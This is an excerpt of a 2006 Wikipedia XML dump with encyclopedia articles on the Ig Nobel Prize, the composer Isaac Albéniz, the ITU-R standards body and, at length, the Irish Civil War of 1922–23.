The first Ig Nobels were awarded in [[1991]], when they were described as discoveries &quot;that cannot, or should not, be reproduced.&quot; The official pronunciation used during the ceremony is &quot;ig no-BELL&quot;, not &quot;ig-noble&quot;, but this distinction eludes many people.

The ceremony is followed a few days later by the Ig Informal Lectures at the [[Massachusetts Institute of Technology]], in which laureates have the opportunity to explain their achievements and their relevance to the general public.

The annual ceremony is co-sponsored by the [[Harvard Computer Society]], the [[Harvard-Radcliffe Science Fiction Association]], and the [[Harvard-Radcliffe Society of Physics Students]].

With the exception of three prizes in the first year (see [[Administratium]], [[Josiah Carberry]], and [[Paul DeFanti]]), most Ig Nobel Prizes have been for genuine achievements. 

== Tours and outreach == 

Unlike the [[Darwin Awards]], whose aim is strictly to entertain, the aim of the Ig Nobel is also to arouse public interest in science.  AIR Editor [[Marc Abrahams]] describes the awards as being designed &quot;to make you laugh, and then to make you think.&quot; 

The ceremony is recorded and broadcast on [[National Public Radio]] and is shown live over the Internet. Two books have been published [[as of 2006]] with writeups on some of the winners: ''The Ig Nobel Prize'' (2002, US paperback ISBN 0-452-28573-9, UK paperback ISBN 0-75284-261-7) and ''The Ig Nobel Prize 2'' (2005, US hardcover ISBN 0-525-94912-7, UK hardcover ISBN 0-75286-461-0).

The Ig Nobel Tour performed shows in [[Britain]] during [[National Science Week]]; it has also traveled to other countries, including Australia.

== Criticism == 
In 1995, Sir [[Robert May]], the chief scientific advisor to the British government, requested that the organizers no longer award Ig Nobel prizes to British scientists, claiming that the awards risked bringing &quot;genuine&quot; experiments into ridicule.

==Prize categories==
Prizes have been awarded annually since 1991 for achievements in many categories. They include the Nobel Prize areas of physics, chemistry, physiology/medicine, literature, and peace but also other categories such as public health, engineering, biology, and interdisciplinary research.

==Trivia==
*Throwing paper airplanes onto the stage has been a long-standing tradition at the Ig Nobels. In past years, physics professor [[Roy Glauber]] has been the official &quot;Keeper of the Broom,&quot; sweeping the stage clean of the airplanes. In 2005, he became a genuine [[Nobel Prize|Nobel prize]] laureate.

*Broadcasting a recording of the ceremony on the Friday after U.S. [[Thanksgiving]] is a tradition on the radio program ''[[Science Friday]]''.

==See also==
* [[List of Ig Nobel Prize winners]]

==External links==
* [http://www.improb.com/ig/ig-top.html Ig Nobel home page]
* [http://www.improb.com/ig/ig-pastwinners.html List of past winners, with reasons for prize]

[[Category:Humor]]
[[Category:Prizes]]

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[[zh:搞笑諾貝爾獎]]</text>
    </revision>
  </page>
  <page>
    <title>Isaac Albéniz</title>
    <id>15208</id>
    <revision>
      <id>40462677</id>
      <timestamp>2006-02-20T19:08:21Z</timestamp>
      <contributor>
        <username>GCarty</username>
        <id>10379</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] recategorize as a classical pianist</comment>
      <text xml:space="preserve">[[Image:albeniz.jpg|thumb|135px|Isaac Albéniz]]

'''Isaac Manuel Francisco Albéniz''' ([[May 29]], [[1860]] &amp;ndash; [[May 18]], [[1909]]) was a [[Spain|Spanish]] [[pianist]] and [[composer]], best known for his [[piano]] works that are based on [[Spanish folk music]].

Born in [[Camprodon]], [[Catalonia]], Albéniz was a [[child prodigy]] who first performed at the age of four. At age seven he passed the entrance examination for piano at the [[Paris Conservatoire]], but he was refused admission because after passing, he took out a ball from his pocket and broke a glass while playing with it. After going to the [[Madrid Conservatory]], he ran away and became a [[vagabond]], making a living by playing. By age fifteen, he had already given concerts worldwide. After a short stay at the [[Leipzig Conservatory]], in [[1876]] he went to study in [[Brussels]]. In [[1880]], he went to [[Budapest]] to study with [[Franz Liszt]], only to find out that Liszt was in [[Weimar, Germany]].

In [[1883]] he met the teacher and composer [[Felipe Pedrell]], who inspired him to write Spanish music such as the ''Suite Española'', Op. 47.  The fifth movement of that suite, called ''Asturias'' ([[Leyenda]]) is probably most famous these days in the classical guitar world, even though it was originally composed for piano and only later transcribed to guitar by [[Francisco Tárrega]]. Many of his other compositions were also later transcribed to guitar - Albéniz himself preferred Tárrega's guitar transcriptions to his original piano works.

During the [[1890s]] Albéniz lived in [[London]] and [[Paris]] and wrote mainly theatrical works. In [[1900]] he started to suffer from kidney disease and returned to the writing of piano music. Between [[1905]] and [[1909]] he composed his most famous work, [[Iberia (Albéniz)|''Iberia'']] (1908), a suite of twelve piano &quot;impressions&quot;.

His orchestral works include ''Spanish Rhapsody'' (1887) and ''Catalonia'' (1899).

Albéniz died in [[1909]] at age 48 in [[Cambo-les-Bains]] and is buried in the ''Cementiri del Sudoest'', [[Barcelona]].

C&amp;eacute;cilia Sarkozy, the wife of French politician [[Nicolas Sarkozy]], is the great-granddaughter of Isaac Alb&amp;eacute;niz.
==External links==
*[http://www.lib.umd.edu/PAL/YALE/albeniz1.html The Life and Music of Isaac Albéniz]
*[http://www.sheetmusicarchive.net/single_listing.cfm?composer_id=1 Albeniz's Scores by SheetMusicArchive]
*[http://www.bookmine.org/music/asturiaz.mp3 An electronic version of the famous piece Asturias]
*[http://www.pianopublicdomain.com/index.php?dir=library/Albeniz Piano Sheet Music of Albeniz] in PDF.
*{{IckingArchive|idx=Albeniz|name=Isaac Albéniz}}

[[Category:1860 births|Albeniz, Isaac]]
[[Category:1909 deaths|Albeniz, Isaac]]
[[Category:Catalan composers|Albeniz, Isaac]]
[[Category:Romantic composers|Albeniz, Isaac]]
[[Category:Spanish composers|Albeniz, Isaac]]
[[Category:Spanish classical pianists|Albeniz, Isaac]]


[[ca:Isaac Albéniz i Pascual]]
[[da:Isaac Albéniz]]
[[de:Isaac Albéniz]]
[[es:Isaac Albéniz]]
[[eo:Isaac ALBÉNIZ]]
[[fr:Isaac Albéniz]]
[[gl:Isaac Albéniz]]
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[[ja:イサーク・アルベニス]]
[[pl:Isaac Albéniz]]
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[[uk:Альбеніс Ісаак]]</text>
    </revision>
  </page>
  <page>
    <title>ITU-R</title>
    <id>15210</id>
    <revision>
      <id>26441196</id>
      <timestamp>2005-10-25T13:18:10Z</timestamp>
      <contributor>
        <username>Lindosland</username>
        <id>522516</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''ITU Radiocommunication Sector''' ('''ITU-R''') is a standards body subcommittee of the [[International Telecommunication Union]] (ITU) relating to [[radio]] communication. Its role is to regulate the allocation of [[radio frequencies]] and so reduce the [[interference]] between radio stations in various countries. It also has responsibility for regulating [[orbit]]al positions of [[satellite]]s relating to radio communications.  In addition, it publishes international engineering standard documents in its area of responsibility.

=== History ===
In 1927, the CCIR - ''Comité consultatif international pour la radio'', &quot;Consultative Committee on International Radio&quot; or &quot;International Radio Consultative Committee&quot; - was founded.
In 1932, the CCIR, and several other organizations (including the original ITU, which had been founded as the [[International Telegraph Union]] in 1865) merged to form what would become known as the [[International Telecommunication Union]] in 1934.  In 1992, the CCIR became the ITU-R.

==See also==
* [[ITU-T]]
* [[ITU-R 468 noise weighting]]


== External links ==
* [http://www.itu.int/ ITU official website]
* [http://www.itu.int/ITU-R/ ITU-R official website]

[[ca:Comité Consultiu Internacional de Radiocomunicació]]
[[da:International Telecommunication Union, ITU Radiocommunication Sector]]
[[de:CCIR]]
[[es:CCIR]]
[[nl:ITU-R]]
[[pl:CCIR]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Civil War</title>
    <id>15214</id>
    <revision>
      <id>42012263</id>
      <timestamp>2006-03-03T05:19:52Z</timestamp>
      <contributor>
        <ip>63.231.128.211</ip>
      </contributor>
      <comment>grammar</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=[[Irish Civil War]]
|date=[[June 28]], [[1922]]&amp;#8211;[[May 24]], [[1923]]
|place=[[Ireland]]
|casus=acceptance of the [[Anglo-Irish Treaty]]
|result=Creation of [[Irish Free State]] and defeat of anti-Treaty IRA forces
|combatant1=[[Irish Republican Army (1922-1969)]]
|combatant2=[[Irish Army]] of the [[Irish Free State]]
|strength1= c.15,000
|strength2= [[Irish Army]] c.55,000 men, 3000 officers
|casualties1= unknown number of anti-treaty [[Irish Republican Army (1922-1969)|IRA]], C.2-3000 (incl 77 official executions) ,12,000 taken prisoner
|casualties2= c. 800 Irish Army killed (unknown no. of civilians, c.250 killed in Dublin fighting alone)
}}

The '''Irish Civil War''' (June 28th [[1922]]–May 24th [[1923]]) was a conflict between supporters and opponents of the [[Anglo-Irish Treaty]] of [[December 6]], [[1921]], which established the [[Irish Free State]], precursor of today's [[Republic of Ireland]]. Opponents of the Treaty objected to the fact that it retained constitutional links between the [[United Kingdom]] and [[Ireland]], and that the six counties of [[Northern Ireland]] would not be included in the Free State. The Civil War cost the lives of more than had died in the [[Anglo-Irish War|War of Independence]] that preceded it. It left Irish society deeply divided and its influence in Irish politics can still be seen to this day. 

==Background==
[[Image:firstdail.jpg|frame|[[First Dáil]]: [[Michael Collins (Irish leader)|Michael Collins]] (second from left, front row), [[Arthur Griffith]] (fourth from left, front row) [[Eamon de Valera]] (centre, front row), [[W.T. Cosgrave]] (second from right, front row).]]

===The Treaty===
The Anglo-Irish Treaty arose from the [[Anglo-Irish War]] (or &quot;Irish War of Independence&quot;), fought between Irish separatists (organised as the extra-legal [[Irish Republic]]) and the [[British government]], from [[1919]]-1921. The treaty provided for a fully self-governing Irish state, controlling most of Ireland's population and area, and having its own army and police. However, rather than creating the independent [[republic]] favoured by many nationalists, it provided that the state would be a dominion  of the [[British Empire]] with the [[British monarchy|British monarch]] as [[head of state]]. The treaty also stipulated that members of the new Irish [[Oireachtas of the Irish Free State|Oireachtas]] (parliament) would have to take an &quot;[[Oath of Allegiance (Ireland)|Oath of Allegiance]]&quot; to the Free State constitution and an oath of fidelity to the British king. Under the treaty the state was not to be called a republic but a &quot;[[Free State|free state]]&quot; and it was only to include twenty-six southern and western counties of Ireland. The remaining six northeastern counties were to remain part of the United Kingdom as [[Northern Ireland]]. Also, [[Treaty ports (Ireland)|several strategic ports]] were to remain occupied by the [[Royal Navy]]. 

Nonetheless, [[Michael Collins]], the republican leader who had led the Irish negotiating team, argued that the treaty gave &quot;not the ultimate freedom that all nations aspire and develop, but the freedom to achieve freedom&quot;. Events were eventually to prove him right, as the Free State later evolved into an independent republic. However, Anti-Treaty militants in 1922 believed that the Treaty would never deliver full Irish independence.

===Split in the Nationalist movement===
The split over the Treaty was deeply personal. The protagonists on both sides had been close friends and comrades during the War of Independence. This made their lethal disagreement over the Treaty all the more bitter. [[Michael Collins (Irish leader)|Michael Collins]] felt that [[Éamon de Valera]] had sent him to negotiate the Treaty because he knew that the British would not concede an independent Irish republic and wanted Collins to take the blame for the compromise settlement. He therefore felt deeply betrayed when De Valera refused to stand by the agreement he had negotiated with [[David Lloyd George]] and [[Winston Churchill]]. [[Image:Flyingcolumn westcork-DB668.JPG|300px|thumb|The IRA West Cork [[Flying Column]] during the War of Independence. Most of the IRA units in Munster were against the Treaty&lt;/small&gt;]]

[[Dáil Éireann (1919-1922)|Dáil Éireann]] (the parliament of the Irish Republic) narrowly passed the Anglo-Irish Treaty by 64 votes to 57 in December 1921. Following the Treaty's ratification, a '''Provisional Government''', headed by Michael Collins and [[Arthur Griffith]] was set up to transfer power from the British adminstration to the [[Irish Free State]]. 

Upon the Treaty's ratification [[Eamon de Valera]] resigned as [[President of the Irish Republic|President of the Republic]] and led the anti-treaty wing of [[Sinn Féin]] out of the Dáil. He challenged the right of the Dáil to approve the Treaty, saying that its members were breaking their oath to the [[Irish Republic]]. De Valera then attempted to promote a compromise, in which the new Irish Free State would have &quot;external association&quot; with the [[Commonwealth of Nations|British Commonwealth]] rather than membership of it. More seriously, the majority of the [[Irish Republican Army]] officers were also against the Treaty and in March 1922, their Army Convention repudiated the authority of the [[Dail]] to accept the Treaty. The anti-treaty IRA formed their own '''Army Executive''', which they recognised as the real government of the country. 

However, both sides wanted to avoid civil war. Collins established an &quot;army re-unification committee&quot; to re-unite the IRA and organised an election pact with De Valera's anti-treaty political followers to jointly fight the [[Irish Treaty Election, 1922|Free State's first election in 1922]] and form a coalition government afterwards. He also tried to reach a compromise with anti-treaty IRA leaders by agreeing to republican type constitution (with no mention of the British monarchy) for the new state. IRA leaders such as [[Liam Lynch (general)|Liam Lynch]] were prepared to accept this compromise. However, the proposal for a republican constitution was vetoed by the British as being contrary to the terms of the treaty and they threatened to impose an economic blockade on Free State unless the treaty was fully implemented. Collins reluctantly agreed. This completely undermined the electoral pact between the pro and anti treaty factions, who went into the [[Irish general election, 1922]] on June 18th as hostile parties, both calling themselves [[Sinn Fein]]. The Pro Treaty Sinn Fein party won the election with 239,193 votes to 133,864 for anti-Treaty Sinn Fein. A further 247,226 people voted for other parties, all of whom supported the Treaty. The election showed that the Irish electorate supported the Treaty and the foundation of the [[Irish Free State]] but De Valera, his political followers and most of the IRA continued to oppose it. De Valera is quoted as saying, &quot;the majority have no right to do wrong&quot;. 

Meanwhile under the leadership of Michael Collins and [[Arthur Griffith]], the pro-treaty Provisional Government set about establishing the Irish Free State, an organised national army to replace the [[Irish Republican Army|IRA]] and a new police force. However, since it was envisaged that the new army would be built around the IRA, anti-treaty IRA units were allowed to take over British barracks and take their arms. In practice, this meant that by the summer of 1922, the Provisional government of the Free State controlled only [[Dublin]] and some other areas like [[Longford]] where the IRA units supported the Treaty. 

Fighting would ultimately break out when the Provisional government tried to assert its authority over well armed and intransigent anti-treaty IRA units around the country -particularly a hardline group in [[Dublin]].

==Course of the war==
===Dublin fighting===
[[image:fourcourtsquays.JPG|thumb|left|300px|The Four Courts along the River Liffey quayside. The building was occupied by Anti Treaty forces during the civil war, whom the Free State army subsequently bombarded into surrender. The building was badly damaged but was fully restored after the war]] 

In April 1922, 200 anti-treaty IRA militants led by [[Rory O'Connor (Irish republican)|Rory O'Connor]], occupied the [[Four Courts]] in [[Dublin]], resulting in a tense stand-off. These Anti-Treaty Republicans wanted to spark a new armed confrontation with the British, which they hoped would unite the two factions of the IRA against their common enemy. However, for those who were determined to make the Free State into a viable, self-governing Irish state, this was an act of rebellion that would have to be put down ''by them'' rather than the British. [[Arthur Griffith]] was in favour of using force against these men immediately, but Michael Collins wanted at all costs to avoid civil war and left the Four Courts garrison alone until late June 1922. His hand was forced by British pressure. 

Ironically, the British lost patience as result of an action ordered by Collins. He had [[Henry Hughes Wilson]], a retired British General assassinated in [[London]] on the 22nd of June because of his role in attacks on Catholics in [[Northern Ireland]]. [[Winston Churchill]] assumed that the anti-treaty IRA were responsable for the killing and warned Collins that he would use British troops to attack the Four Courts unless the Free State took action. The final straw for the Free State government came on the 27th of June, when the Fourt Courts republican garrison kidnaped JJ &quot;Ginger&quot; O'Connell, a general in the new [[Irish Army|Free State Army]]. Collins made a final attempt to persuade the men holding the Four Courts to leave it before violence broke out. They refused and Collins decided to end the stand-off, under a British threat of imminent re-occupation, by the bombarding the Four Courts garrison into surrender. Collins was then appointed Commander-in-Chief of the Free State Army. This attack was not the opening shots of the war as skirmishes had taken place between pro and anti treaty IRA factions throughout the country when the British were handing over barracks. However this represented the 'point of no return' when all out war was ''ipso facto'' declared and the Civil War officially began.
[[Image:4courtsbomb.jpg|250px|thumb|right|The Four Courts under bombardment by Free State Troops in 1922]] 

Michael Collins had accepted a British offer of [[artillery]] for use by the new Free State Army. The anti-treaty forces in the Four Courts, who possessed only small arms, surrendered after two days of bombardment and the storming of the building by Free State troops (28th-30th of June 1922). In the chaos of the moment, the [[Irish Public Records Office]], which had been used as an ammunition store by the Four Courts garrison, was the centre of a huge explosion, blowing to pieces one thousand years of Irish state and religious archives. Several anti-Treaty leaders, notably [[Ernie O'Malley]] escaped from captivity to continue fighting elsewhere. Pitched battles continued in Dublin until [[July 5]], as anti-Treaty IRA units from the Dublin Brigade led by [[Oscar Traynor]] occupied [[O'Connell Street]] - provoking a week's more street fighting. The republicans held out in a &quot;block&quot; of buildings until artillery was brought up, under the cover of armoured cars, to bombard them at point blank range. Oscar Traynor and most of his men made their escape when the buildings they were holding caught fire. Among the Republican casualties was Republican leader [[Cathal Brugha]], who stayed behind in the Granville hotel after Traynor and most other IRA men had left. He was shot dead when he left the burning building alone to confront the Free State troops. Cathal Brugha was the last casualty in the battle for Dublin which had cost both sides sixty-five killed and twenty-eight wounded. In addition, the Free State took over 500 Republican prisoners. The civilian casualties are thought to have numbered well over 250. 

[[Image:cathalbrugha.JPG|thumb|left|Cathal Brugha, Anti-Treaty leader killed during the fighting on Dublin's O'Connell St]] When the fighting in Dublin died down, the Free State Government was left firmly in control of the Irish capital and the anti-treaty forces dispersed around the country, mainly to the south and west.[[Image:Oconnell-street-fighting-1.jpg|thumb|right|150px|Street fighting on O'Connell Street during the Irish Civil War. The Free State's acquisition of armoured cars, seen in action here, was a major advantage in street fighting.]]

The outbreak of the civil war forced pro and anti treaty supporters to choose sides. Supporters of the treaty came to be known as &quot;pro-treaty&quot;, &quot;National Army&quot; or &quot;Free State&quot; forces. Its opponents were known as &quot;anti-treaty&quot;,  &quot;Irregulars&quot; or &quot;Republicans&quot; and continued to refer to themselves as the &quot;IRA&quot;. The Anti-Treaty IRA claimed that it was defending the Irish Republic that had been declared in 1916 during the [[Easter Rising]], that had been confirmed by the [[First Dáil]] and that had been invalidly set aside by those who accepted the compromise of the Free State. Éamon de Valera stated that he would serve as an ordinary IRA volunteer, and left the leadership of the Anti-Treaty Republicans to military leaders such as [[Liam Lynch (general)|Liam Lynch]], the [[list of IRA Chiefs of Staff|IRA Chief of Staff]].

===The Opposing forces===
At the start of the Civil War the IRA had split down the middle. The Anti-Treaty side had considerable support among IRA units, particularly in the south and west of Ireland. In fact, when the civil war broke out, the Anti-Treaty IRA outnumbered the pro-Free State forces -by roughly 15,000 men to 7000 or nearly 2-1. (The paper strength of the IRA in early 1922 was over 72,000 men, but most of them fought in neither the War of Independence nor the Civil War). However the anti-treaty IRA lacked an effective command structure, a clear strategy and sufficient arms. They started the war with only 6,780 rifles and a handful of machine guns. They also took a handful of [[armoured cars]] from British troops as they were evacuating the country. More importantly, the had no artillery of any kind. As a result, they were forced to adopt a defensive stance throughout the war. 

By contrast, the Free State managed to expand its forces dramatically after the start of the war. Michael Collins and his commanders were able to build up an army which was able to overwhelm the Irregulars in the field. British supplies of artillery, [[aircraft]], [[armoured cars]], [[machine gun]]s, [[small arms]] and [[ammunition]] were much help to pro-treaty forces. By the end of the war, the Free State Army had swollen to over 55,000 men and 3,500 officers, far in excess of what the Irish state would need to maintain in peacetime. Collins' most ruthless officers and men were recruited from the Dublin &quot;Active Service Unit&quot; (the elite unit of the IRA's Dublin Brigade), which Collins had commanded in the Irish War of Independence and in particular from his assassination unit &quot;The Squad&quot;. In the New [[Irish Army]], they were known as the [[Dublin Guard]]. Towards the end of the war, they were implicated in some gruesome atrocities against Anti-Treaty [[guerrilla warfare|guerrillas]]. Most of the Free State Army's officers were Pro-Treaty IRA officers. However, the bulk of the Free State Army was made up of unemployed Irish ex-servicemen, who had fought in the [[First World War]] in the [[British Army]].

===The Free State takes major towns===
[[Image:Griffith.jpg|130px|thumb|'''Arthur Griffith''' &lt;br&gt;(1871-1922)]]

With Dublin in pro-treaty hands, conflict spread throughout the country, with anti-Treaty forces briefly holding [[Cork]], [[Limerick]] and [[Waterford]] as part of a self-styled independent [[Munster Republic|&quot;Munster Republic&quot;]]. However, the Anti-Treaty side were not equipped to wage conventional war, lacking artillery and armoured units, both of which the Free State obtained from the British. This meant that the large towns in Ireland were all easily taken by the Free State after only sporadic fighting. 

In [[Limerick]], the anti-treaty IRA held four military barracks and most of the town. Fighting broke out between them and Free state units in the city on the 11th of July 1921. On the 17th,  General [[Eoin O'Duffy]] arrived with 1,500 Free State reinforcments including four armoured cars and an 18 pounder cannon. After three days of street fighting the Republicans evacuated the city and retreated south. Eight Free State troops died in Limerick and up to thirty Republicans. Similarly, [[Waterford]] was taken by a Free State column equipped with armour and artillery under General Prout between the 18th and 20th of July at a cost of only ten killed. However, the Free State troops encountered more tenacious resistance in the countryside around [[Kilmallock]], south of Limerick city, when they tried to advance into  republican held [[Munster]]. Eoin O'Duffy's 1,500 troops were faced with about 2000 anti-Treaty IRA men under [[Liam Deasy]], who had three armoured cars they had taken from the evacuating British troops. Fighting continued here from the 22nd of July until August the 5th, despite the arrival of over 1000 more Free State troops and more armoured cars and cannon. These engagements were the closest thing in the war to a conventional battle and were costly for both sides. Deasy's men were ultimately forced to retreat, however, when Free State forces were landed by sea behind them in [[Passage West]] and [[Fenit]] in counties Cork and Kerry on the 2nd and 8th of August respectively. 

These seaborne landings landed about 2000 well equipped Free State troops into the heart of the &quot;Munster Republic&quot; and caused the rapid collapse of the Republican position in the south. After some fighting at [[Rochestown]], the badly armed anti-treaty IRA in Cork did not try to resist this offensive, but burned the barracks they were holding and dispersed. On [[August 10]], [[Cork]] city was retaken, the last city to fall in the &quot;Munster Republic&quot;. [[Liam Lynch]], the Republican commander in chief abandoned [[Fermoy]], the last republican held town, the following day. 

Another naval landing, at [[Clew Bay]] in Mayo, helped re-take the west of Ireland for the Free State. This force consisting of 400 Free State soldiers, one cannon and an armoured car under Christopher O'Malley, re-took the Republican held town of [[Westport]] and linked up with another Free State column under [[Sean McEoin]] advancing from [[Castlebar]].

Government victories in the major towns inaugurated a period of inconclusive [[guerrilla warfare]].  Anti-Treaty IRA units held out in areas such as the western part of counties Cork and Kerry in the south, [[county Wexford]] in the east and counties [[Sligo]] and [[Mayo]] in the west. Sporadic fightin also took place around [[Dundalk]], where [[Frank Aiken]] and the [[Fourth Northern Division of the Irish Republican Army]] were based. Aiken originally wanted to stay neutral, but was arrested by Free State troops along with 400 of his men on July 16th 1922. They subsequently broke out of prison in Dundalk and conducted a guerrilla campaign against the Free State along the new Irish border with [[Northern Ireland]].

It took eight more months of intermittent warfare before the war was brought to an end. This period was marked by assassinations and executions of leaders formerly allied in the cause of Irish independence. Commander-in-Chief Michael Collins was assassinated by anti-treaty republicans at Béal na mBláth, near his home in [[County Cork]], in August 1922{{fn|1}}. Arthur Griffith, the Free State president had also died of a brain haemorrhage ten days before, leaving the Free State government in the hands of [[W.T. Cosgrave|William Cosgrave]] and the Free State Army under the command of General [[Richard Mulcahy]].  

In October 1922, Eamonn de Valera and the anti-treaty TDs (members of the [[Dail]] Parliament) set up their own &quot;Republican government&quot; in opposition to the Free State. However, by then the anti-Treaty side held no significant territory and De Valera's &quot;government&quot; had no authority over the population. In any case, the IRA leaders paid no attention to it, seeing the Republican authority as vested in their own military leaders.

[[Image:MickC.jpg|frame|left|'''Michael Collins''', as Commander-in-Chief at [[Arthur Griffith|President Griffith's]] funeral, one week before his own death.]]

===Atrocities, executions and the end of the war===
The final phase of the Civil War (November 1922-May 1923) degenerated into a series of atrocities that left a lasting legacy of bitterness in Irish politics. On October 15th 1922, the Free State's Provisional Government passed an &quot;Emergency Powers Bill&quot; in the [[Dail]], which allowed for the execution of men captured bearing arms against the state. On November the 17th, four IRA men who were captured with arms were shot by firing squad. On the 24th of November, acclaimed author and treaty negotiator [[Robert Erskine Childers]] was executed by the Free State, having been captured in possession of a pistol. Liam Lynch, in response, issued an order to the IRA units under his command that any member of Parliament who had signed or voted for the &quot;murder bill&quot; should be shot on sight. The Anti-Treaty IRA therefore began assassinating [[Teachta Dála|TDs]] who sat in the [[Dáil]], beginning with [[Sean Hales]]. A number of other TD's and Senators were also shot and wounded. In response, the Free State announced that it would be shooting IRA prisoners already in its custody in reprisal for future &quot;outrages&quot;. Accordingly, on December the 7th 1922, the day after Hales' killing, four prominent Republicans (one from each [[Provinces of Ireland|province]]), who had been held since the first week of the war - [[Rory O'Connor (Irish republican)|Rory O'Connor]], [[Liam Mellows]] [[Richard Barett]] and [[Joe McKelvey]]- were executed in revenge for the killing of Hales. In all, the Free State sanctioned 77 official executions of Anti-Treaty prisoners during the civil war - a number that was recalled by [[Fianna Fail]] members with bitterness for decades afterwards. 

In addition, Free State troops, particularly in [[County Kerry]], where the guerrilla campaign was most bitter, began unofficial killings of captured Anti-Treaty fighters. Several high profile atrocities took place in the month of March 1923. The most notorious example of this occurred at Ballyseedy, where, in reprisal for the killing of five Free State soldiers with booby trap bomb at Knocknagoshel, 9 Republican prisoners were tied to a [[land mine|landmine]], which was exploded and the remaining survivors were then machine-gunned, with one of the prisoners Stephen Fuller, escaping to tell of the event afterwards. This was followed by series of similar killings of prisoners by Free State troops in [[Killarney]] and [[Cahersiveen]]. [[Image:Dickmulc.jpg|thumb|Richard Mulcahy - the Free State General who instituted the policy of executions of republican prisoners in reprisal for the murder of elected representatives.]] 

The Anti-Treaty IRA were unable to maintain an effective guerrilla campaign, since the great majority of the Irish population did not support them. This was demonstrated in the [[elections]] immediately after the civil war, which [[Cumann na nGaedheal]], the Free State party, won easily (See [[Irish general election, 1923]] for the results). The [[Roman Catholic Church]] also supported the Free State, deeming it the lawful government of the country, denouncing the Anti-Treaty IRA and refusing to administer the [[Sacrament]]s to Anti-Treaty fighters. On October 10th 1922, The Catholic Bishops of Ireland issued a formal statement, describing the anti treaty campaign as,

''a system of murder and assassination of the National forces without any legitimate authority...the guerrilla warfare now being carried on [by] the Irregulars is without moral sanction and therefore the killing of National soldiers is murder before God, the seizing of public and private property is robbery, the breaking of roads, bridges and railways is criminal. All who in contravention of this teaching, participate in such crimes are guilty of grevious sins and may not be absolved in [[Confession]] nor admitted to the [[Holy Communion]] if they persist in such evil courses'' (Coogan, De Valera p344). 

This stance would have influenced many Catholic Irish people at the time. 

The lack of public support for the Anti-Treaty IRA, the determination of the government to defeat them and their lack of will also contributed to their defeat. By February 1923, republican leader [[Liam Deasy]] had already surrendered to Free State forces and called on other republicans to do the same. As the conflict petered out into a ''de facto'' victory for the pro-Treaty side, De Valera asked the IRA leadership to call a ceasefire, but they refused. Some historians suggest that the death of [[Liam Lynch]], the intransigent Republican leader, in a skirmish in the Knockmealdown mountains in [[County Waterford]] on April 10th, allowed the more pragmatic [[Frank Aiken]], who took over as IRA Chief of Staff, to call a halt to what seemed a futile struggle. Aiken's accession to IRA leadership was followed on the 30th of April by the declaration of a [[ceasefire]] on behalf off the anti-treaty forces. Aiken followed this on the 24th of May 1923 by an order to IRA volunteers to dump arms rather than surrender them or continue a fight which they were incapable of winning. Thousands of Anti-Treaty IRA members (including De Valera) were arrested by the Free State forces in the weeks after the end of the war, when they had dumped their arms and returned home.

===Attacks on Loyalists===
Although the cause of the civil war was the treaty, as the war developed the Irregulars sought to identify their actions with the traditional republican cause of the &quot;men of no property&quot; and the result was that the war also saw large Loyalist landowners, and some not very well-off Protestant [[Loyalists]], attacked and a large number of country estates occupied by small holders. Many, but not all of these people, had supported the Crown forces during the War of Independence. This support was often largely moral, but sometimes it took the form of actively assisting the British in the conflict. This made their situation post-independence difficult, and in the anarchy of the Civil War they became easy targets. Sometimes these attacks had sectarian overtones, although most anti-treaty IRA men made no distinction between Catholic and [[Protestant]] supporters of the Irish government. The Free State made efforts to protect Protestants and their property, most notably in [[County Louth]], where a special police force was set up specifically for this purpose. Controversy continues to this day about the extent of intimidation of Protestants at this time.

==Cost and results==
The Civil War, though short, was bloody. It cost the lives of many senior figures, including Michael Collins. Both sides carried out brutal acts: the anti-treaty forces murdered TDs (MPs) and burned many historic homes (such as the famous Moore Hall in [[County Mayo|Mayo]], because its owner had become a senator); the government executed anti-treaty prisoners, officially and unofficially. The pro-treaty National Army suffered 800 fatalities and perhaps as many as 4000 people were killed in total. As their forces retreated the Irregulars caused much destruction and the economy of the Free State suffered a hard blow in the earliest days of its existence as a result. In addition, about 12,000 Republicans were [[internment|interned]] by the end of the Civil War, most of whom were not released until 1924. After Aiken called an end to the Anti-Treaty campaign, up to 8000 IRA prisoners went on [[hunger strike]] in protest at their continued detention.

However, it has also been argued that the Irish Civil War could have been far worse than it actually was. The numbers killed were relatively modest by the standards of other contemporary civil wars - for example in [[Russian Civil War|Russia]] and [[Spanish Civil War|Spain]]. Moreover, the new Police force, the [[Civic Guard]]s, was not involved which meant that it was possible for the Free State to establish an unarmed and politically neutral police service after the war.  &lt;!-- CG became Garda Síochána in August 1923 --&gt;

The fact that the Irish Civil War was fought between Irish Nationalist factions meant that the issue of [[Northern Ireland]] was ignored and Ireland was spared what could have been a far bloodier civil war based on [[ethnic]] and [[sectarian]] lines over the future of Ireland's six north-eastern counties. In fact, because of the Irish Civil War, [[Northern Ireland]] was able to consolidate its existence and partition of Ireland was confirmed for the foreseeable future. Collins, up to the outbreak of the civil war and possibly until his death, had been planning to launch a clandestine guerrilla campaign against the Northern state and was funelling arms to the northern units of the IRA to this end. This may have led to open hostilities between north and south had the Irish Civil War not broken out. In the event, it was only after their defeat in the Civil War that anti-treaty Irish Republicans seriously considered whether to take armed action against British rule in Northern Ireland. The northern units of the IRA largely supported the Free State side in the civil war due to Collins's policies and over 1000 of them joined the new Free State's [[Irish Army]].    

In [[1926]], having failed to persuade the majority of the anti-treaty side of accepting the new status quo as a basis for an evolving Republic, a large faction led by De Valera and Aiken left to resume constitutional politics and to found the [[Fianna Fáil]] party. [[Sinn Fein]] became a small, isolated poltical party. The IRA, then much more numerous and influential than Sinn Fein, remained associated with Fianna Fail (though not directly) until banned by De Valera in 1935.

[[Image:Eamondv.jpg|thumb|left|Eamon de Valera in the 1930s.]] 
